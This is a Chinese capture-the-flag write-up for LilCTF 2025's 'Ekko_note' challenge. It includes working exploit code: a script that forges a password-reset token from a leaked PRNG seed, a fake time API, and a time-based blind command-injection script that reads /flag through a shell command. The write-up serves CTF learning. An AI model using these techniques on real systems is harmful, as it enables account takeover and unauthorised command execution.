LilCTF 2025 Ekko_note 详细思路及复现

说来惭愧,除了这道就没出啥题了

题目信息

Ekko_note


时间刺客Ekko成功当上了某上市公司的老板。于是他让员工给他写一个只有他能用的RCE接口…… 但是,这个员工写的代码好像有点问题?

题目分析

写的这些分析才是关键,后边的解题步骤没有啥营养

用户侧

我们首先从用服务端侧分析页面逻辑

该页面为一个存在登录注册以及找回密码功能的命令执行接口。直接注册为普通用户,存在一个命令执行页面。但是该页面只有当现实时间为2066年时才可使用。同时通过页面得知admin用户可以在后台调整时间api的地址。

基于上述分析,我们可以得出初步解题步骤

使用admin用户登录,修改时间api地址到一个伪造的时间api接口上,其时间设为2066年,使命令执行页面可以执行命令,最终获得flag。

服务端侧

首先看这一部分

1
2
3
4
SERVER_START_TIME = time.time()

import random
random.seed(SERVER_START_TIME)

定义了一个变量SERVER_START_TIME,他的值为time.time(),该函数用来获取当前时间的时间戳,返回一个浮点数,单位是,就像1692252287.123456这样

之后引用了random模块,这是Python中的伪随机的一个模块,关于伪随机就是同一个种子生成完全相同的随机数序列

再之后使用random.seed()来初始化了伪随机数生成器的种子。

这一段代码就造成了一个漏洞点

伪随机数生成器的种子SERVER_START_TIME这个变量的值

也就是说,我们只要获得了SERVER_START_TIME这个变量的值,即可伪造出相同的伪随机数序列,使其生成的随机数变得可预测

再看这一个

1
admin_super_strong_password = token_urlsafe()
1
2
3
4
5
6
7
8
9
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

第一条代码是在前边定义了一个变量admin_super_strong_password,他的值是使用token_urlsafe()方法随机生成的一个字符串。token_urlsafe()这个方法是真随机,所以说我们没办法预测,并没有什么漏洞点

接着看一下初始化admin用户的这一段代码。

可以看到一些信息,admin用户的邮箱为admin@example.com,他的密码是之前说的token_urlsafe()生成的真随机字符串,所以说我们无从下手,只是从这段代码中找到了一个关键信息,就是admin用户的注册邮箱为admin@example.com,这对我们之后的利用有很大的帮助

再看一条代码

1
time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')

这一行代码是定义 User 表的一个字段,可以得知time_api的值默认为https://api.uuni.cn//api/time这个接口,我们访问这个接口,发现是一个返回当前时间的一个接口,格式如下:

1
{"date":"2025-08-17 03:21:50","weekday":"星期日","timestamp":1755372110,"remark":"一些推广信息"}

在程序中,这个字段用于

1
2
3
user = User.query.get(session['user_id'])
response = requests.get(user.time_api)
data = response.json()

也就是 从用户指定的 URL 获取时间数据,然后判断

1
current_time.year >= 2066

在这块代码中没有任何限制和校验,暴漏出一个问题,并没有校验返回的时间是否真实,如果用户伪造了一个假的时间api接口,将返回的时间伪造成2066年之后,即可绕过current_time.year >= 2066这一判断

再看一个很关键的代码

1
2
3
4
5
6
7
@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}

这一段定义了一个路由/server_info,然后通过@login_required限制了只允许登录用户访问

接下来是关键,该页面返回了server_start_timecurrent_time这两个字段,其中server_start_time的值是SERVER_START_TIME变量的值,我们通过分析之前的代码可以得知,这个值也被传入到random.seed()中作为了初始化伪随机数生成器的种子。

也就是说,我们得知了server_start_time的值,就是得到了这整个代码的伪随机数种子,使其代码中用到伪随机数生成器的值可被预测,这是这道题中利用的关键。

再最后看一段代码,这是最关键的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
token = str(uuid.uuid8(a=padding(user.username)))
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

写到这快四点了,有点困了

接着看,首先定义了一个路由/forgot_password,是一个找回密码的界面,用户提交一个邮箱,然后系统查找对应的用户。但是邮件发送功能并没有开放,我们无法获得token的值。

接下来是的分析关键

生成一个Token用作密码重置

这里边使用了uuid8来进行生成,传入了一个参数a,他的值是padding(user.username)生成的整数参数padding()这个方法在给出的代码有定义,会把用户名截断、然后填充成整数。

关于这个uuid8,一开始以为是出题人自定义的生成方法,因为在当前python的uuid库中只有uuid1,uuid3``,uuid4,uuid5这四种生成uuid的方法,找不到uuid8这种方法

在困扰很久之后题目上了一个提示:

1
艾克喜欢新东西…… 好像他的员工也是这样的。uuid.uuid8()不是所有python版本都有哦~

经过搜索后找到了**uuid.uuid8()**的相关文档:

这是python的官方文档,地址是https://docs.python.org/zh-cn/3.14/library/uuid.html#uuid.uuid8

我们可以看到uuid.uuid8()这个方法是在python3.14中新添加,但是现在python最新的正式版版本为3.13,3.14还是预览版,所我们正常安装的python中并没有uuid8,切换到3.14即可使用uuid8来生成token。

我们首先看一下文档里对uuid.uuid8()的相关定义

uuid.uuid8()存在三个参数,分别为a,b,c,其中传入的参数为空时,这三个参数将会被替换成伪随机数

文档中提示,默认情况下,a、b 和 c 不是由加密安全伪随机数生成器(CSPRNG)生成的。

也就是说,这里的伪随机数生成器,使用的就是代码在开头通过random.seed()定义种子的那个伪随机数生成器为同一个生成器。

我们接着看代码中是怎么生成的token,代码中使用了uuid.uuid8()这个方法,他只传入了a这个值,b,c都是空会被伪随机数生成器生产的随机整数替代。

关于a这个值的产生方法,在代码中已经给出,在用户名已知的情况下,a的值是固定的,并且b和c的值是可以被预测的

最终最终,实现了对uuid.uuid8()方法a,b,c三个值的完全可控,即可伪造与服务器相同的token

攻击流程

好,分析了这么多,对于这道题的攻击方法已经很明确了:

首先注册一个普通用户,登录后访问/server_info路由拿到SERVER_START_TIME的值

然后使用admin@example.com这个邮箱进行重置密码,在后端生成一个为admin用户重置密码的token

然后我们本地伪造这个token,因为a的值已知,生成b,c两个参数所用的伪随机数生成器的种子已知,在不改变随机序列的情况下,我们完全可以在本地伪装出一个完全相同的Token

使用这个Token重置admin用户的密码,即可成功登录admin用户后台

在后台可以修改时间api接口的地址

我们在公网部署一个页面,内容可以是固定的,只要页面返回的时间,大于2066年即可

然后我们回到命令执行页面,此时current_time.year >= 2066满足,我们可以执行命令

os.system(command)并不会回显,我们通过时间盲注的方式来用脚本获得flag

解题步骤

我们首先访问靶机,进入到了这个题目的主页

先点击右上角的注册按钮进入到注册页面

注册一个普通用户,邮箱可以随意填写,这个用户的用途就是登录之后方法/server_info接口,没有别的用途

使用注册的用户进行登录

登录成功后跳转到仪表盘,有一个执行命令功能,但是不能用,只要在时间大于2066年的时候才可以用

我们访问/server_info路由,可以看到成功获取到了我需要的SERVER_START_TIME的值

我们先记录下来,等会伪造Token的是需要用到

1
1755376934.7671177

先把普通用户退出登录。

点击登录页面下方的忘记密码链接,跳转到忘记密码页面

在邮箱这里输入代码中生成admin用户所使用的邮箱,即admin@example.com

可以看到说token已经发送,实际上没有这个功能,我们也看不到token实际是啥

我们直接伪造一个token,SERVER_START_TIME = 1755376934.7671177是我们在/server_info路由中获得到的

padding()这个方法我们直接复制代码中给的就可以,然后一模一样生成一个Token输出出来

我们生成的这个token,就跟服务端在后台生成的token是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import random, uuid

SERVER_START_TIME = 1755376934.7671177
random.seed(SERVER_START_TIME)

def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

token = str(uuid.uuid8(a=padding("admin")))
print(token)

运行这个代码后得到伪造的token

在重置密码界面输入伪造的token,然后重新为admin用户设置一个密码

重置成功后回到登录页面,使用admin用户和自己设置的密码进行登录

发现成功进入到了后台,并且比普通用户多了一个管理员设置页面

进入这个页面,发现这里可以自定义时间API的接口

我们写一个简单的页面,输出跟真实时间接口API一样的josn格式,只不过是把时间改到了2066年

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/fake_time')
def fake_time():
return jsonify({
"date": "2066-01-01 00:00:00",
"weekday": "星期六",
"timestamp": 2789404800, # 2066-01-01 00:00:00 的 Unix 时间戳
"remark": "这是一个假的时间API,用于测试"
})

if __name__ == '__main__':
app.run(host="0.0.0.0", port=9999)

我们需要在一个可以被公网访问的机器上运行代码,使其可以题目靶机进行访问,这个访问过程是在服务器进行访问的,所以说这个假的接口需要部署在公网上

我们访问这个假的时间接口,发现可以成功访问了。返回的时间也是在2066年之后

我们复制这个假的接口地址粘贴到时间API设置的的文本框,并且进行保存,此时服务端获取的时间即是2066年,成功绕过了current_time.year >= 2066的判断

来的命令执行的页面,发现已经可以执行命令了

但是输入的任何内容都没有回显

我们使用sleep来进行测试,发现命令生效了,说明命令可以正常执行,只是没有回显

这时候我们可以写一个脚本,根据时间延迟的这个特性,对字符进行逐个尝试,来穷举出完整的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string
import time

url = "http://challenge.xinshi.fun:38863/execute_command"
headers = {
"Cookie": "session=eyJpc19hZG1pbiI6dHJ1ZSwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.aKDxSA._vXFm1yvsjembiopVtlH1HqJON0"
}

flag = ""
max_length = 50
charset = string.ascii_letters + string.digits + "_{}-!@#$%^&*()[]"

for i in range(1, max_length + 1):
found = False
for c in charset:
# 构造延迟盲注命令
cmd = f'[ "$(head -c{i} /flag | tail -c1)" = "{c}" ] && sleep 2'

start_time = time.time()
requests.post(url, data={"command": cmd}, headers=headers)
elapsed = time.time() - start_time

if elapsed >= 2:
flag += c
print(f"Found {i}-th char: {c} | Current flag: {flag}")
found = True
break

if not found:
print("End of flag or unknown char at position", i)
break

print("Final flag:", flag)

运行脚本,需要等很长时间才能完整跑出flag